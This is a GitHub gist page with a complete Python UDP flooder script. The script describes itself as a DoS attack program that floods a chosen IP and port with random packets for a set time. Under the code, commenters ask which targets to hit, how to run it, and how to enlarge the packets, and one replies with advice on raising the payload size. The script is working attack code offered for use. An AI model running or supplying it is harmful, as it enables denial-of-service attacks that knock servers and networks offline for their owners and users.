Python UDP Flooder

flood_udp.py

"""
UDP Flooder.
This is a 'Dos' attack program to attack servers, you set the IP
and the port and the amount of seconds and it will start flooding to that server.
(inspire from http://hazardedit.com/forum/viewtopic.php?t=73)

Usage : ./flood_udp <ip> <port> <second>
"""
import time
import socket
import random
import sys

def usage():
    print "Usage: " + sys.argv[0] + " <ip> <port> <second>"

def flood(victim, vport, duration):
    # okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program
    client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    # 1024 representes one byte to the server
    bytes = random._urandom(1024)
    timeout =  time.time() + duration
    sent = 0

    while 1:
        if time.time() > timeout:
            break
        else:
            pass
        client.sendto(bytes, (victim, vport))
        sent = sent + 1
        print "Attacking %s sent packages %s at the port %s "%(sent, victim, vport)

def main():
    print len(sys.argv)
    if len(sys.argv) != 4:
        usage()
    else:
        flood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3]))

if __name__ == '__main__':
    main()

hi
should the target be a computer or a router?

If you're asking a question like that, maybe you shouldn't be using a program like this.

I tried to target a router and computer on my own computer and i faild My friend did and he succeed

…

On Sun, May 24, 2020, 06:02 Xevion ***@***.***> wrote: ***@***.**** commented on this gist. ------------------------------ hi should the target be a computer or a router? If you're asking a question like that, maybe you shouldn't be using a program like this. — You are receiving this because you commented. Reply to this email directly, view it on GitHub <https://gist.github.com/e05f3286b6ab94ec2c5431e64832c13e#gistcomment-3315914>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/ALCYS33RV3DIEKWWRXC5J6DRTCE6FANCNFSM4KBH32XA> .

Hey, what version of python is needed to run this? i am using python 2.7.15 but it just immediately closes

How did you run this script ? It should work with Python 2

The original is Python 2 and the one I provided below is Python 3 (converted). Just look at the syntax and my comment, it should be pretty apparent what 2to3'd means...

how do you increase the size of the requests sent ? The current size isn't even affecting a local server

you can custom the data sent by modifying bytes = random._urandom(1024) L.21.

How can I make the flood in the console when it is attacking to stop doing it once the attack is finished?